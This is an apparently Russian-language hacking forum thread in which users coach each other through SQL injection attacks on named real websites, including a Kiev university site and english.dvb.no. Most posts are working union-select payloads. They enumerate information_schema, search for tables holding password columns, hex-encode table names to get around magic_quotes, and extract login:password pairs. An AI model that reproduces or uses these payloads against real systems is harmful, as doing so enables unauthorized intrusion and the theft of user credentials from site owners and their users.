Code: www.philology.kiev.ua/php/kafkaf.php?id=7&sid=2 Инклюд. Уязвим параметр id. Но вот расскрутить не могу. Help me, please!
news.php?id=-349+union+select+1,column_name,3,4,5,6,7,8,9+from+information_shema.columns+where+table_name='0x434f4c4c4154494f4e53'+limit+1,1-- table_name=COLLATIONS пробовал маленькими буквами т.к. хекс для них разный
кавычки тут не нужны, так как для mysql это уже 16ричное представление строки. news.php?id=-349+union+select+1,column_name,3,4,5,6,7,8,9+from+information_shema.columns+where+table_name=0x434f4c4c4154494f4e53+limit+1,1-- как раз кавычки и обламывают тебе инъекцию, точнее ее обламывает magic_quotes_gpc= ON эта опция экранирует спецсимволы такие как кавычка и нуллбайт итд. при этом сервер получает запрос вида блаблабла where table_name=\'collations\' а такой запрос не является синтакисчески верным.
Может для начинающего это и лишния информация, но все таки... Дабы упростить поск таблиц где есть поля "login"&"password" к (примеру.. Можно воспользоваться оператором like Синтаксис такой: news.php?id=-349+union+select+1,concat_ws(0x3a,table_name,table_schema),3,4,5,6,7,8,9+from+ information_shema.columns+where+column_name+like+'password'--+ Данный запрос выведет: Имя таблици и названия базы, где есть поля password/* так же при необходимости слово password моно перевести в 16й код.. Так же моно листать через оператор limit news.php?id=-349+union+select+1,concat_ws(0x3a,table_name,table_schema),3,4,5,6,7,8,9+from+ information_shema.columns+where+column_name+like+'password'+limit+1,1--+
а данный запрос выводит одно название базы где есть поля password/* или все? получаем: Subscription:dvb т.е. table_name=Subscription db_name=dvb ?
Выводит названия базы и таблицу(в этой базе), где находятся колонка "password" table_name=Subscription: имя таблици где есть колонка "password" table_schema: имя бд в которой находится таблица "Subscription" с колонкой "password"
вот с этим не сопоставимо:http://xxx/news.php?id=-1' UNION SELECT 1,2,login,password,5,6 FROM Users LIMIT 1,1 -- видимо устаревает информация Для вывода логина и пасс делаем: -349+union+select+1,concat_ws(0x3a,login,password),3,4,5,6,7,8,9+from+хекс(Subscription)+limit+1,1 или же как-то подругому? Для вывода логина и пасс имя БД нам необязательно? т.к. запросы все равно идут в пределах базы, к которой обращается скрипт.
Для вывода логина и паса....(Когда ты уже узнал названия столбцов разумеется. Делается так: -349+union+select+1,concat_ws(0x3a,login,password), 3,4,5,6,7,8,9+from+table_name где, table_name -это названия таблици (от кудого ты вытащил(login&password)) Обязательно, лишm в том случае если таблица находится в другой базе ... Например: 349+union+select+1,database(), 3,4,5,6,7,8,9 нам вывело, что названия БД "test" а 349+union+select+1,table_schema, 3,4,5,6,7,8,9+from+information_schema.columns+where+table_name='users' нам выдало, что таблица users находится в базе test1 тогда, для вывода, используем следующий запрос... 349+union+select+1,concat_ws(0x3a,login,password), 3,4,5,6,7,8,9+from+test1.users
совсем запутался... имеем: http://english.dvb.no/news.php?id=-349+union+select+1,concat_ws(0x3a,table_name,table_schema),3,4,5,6,7,8,9+from+information_schema.columns+where+column_name+like+0x70617373776f7264-- Subscription:dvb соотв в базе dvb есть таблица Subscription в которой есть колонка(столбец) password database ()= dvb запрос: http://english.dvb.no/news.php?id=-349+union+select+1,concat_ws(0x3a,login,password),3,4,5,6,7,8,9+from+0x537562736372697074696f6e-- ничего не дает, видимо мы не знаем, а login ли мы ищем? правильно? как достать его "login"?
from+0x537562736372697074696f6e ----> хекс Subscription p.s. спасибо за подпись, все что читал далеко от сегодняшнего дня в основном по SQL-inj читал https://forum.antichat.ru/threadnav43966-1-10.html
Вот собственно все базы и таблички доступные тукушему юзеру(без Information): крч ничего инетересного З.Ы.Сорри за изврат.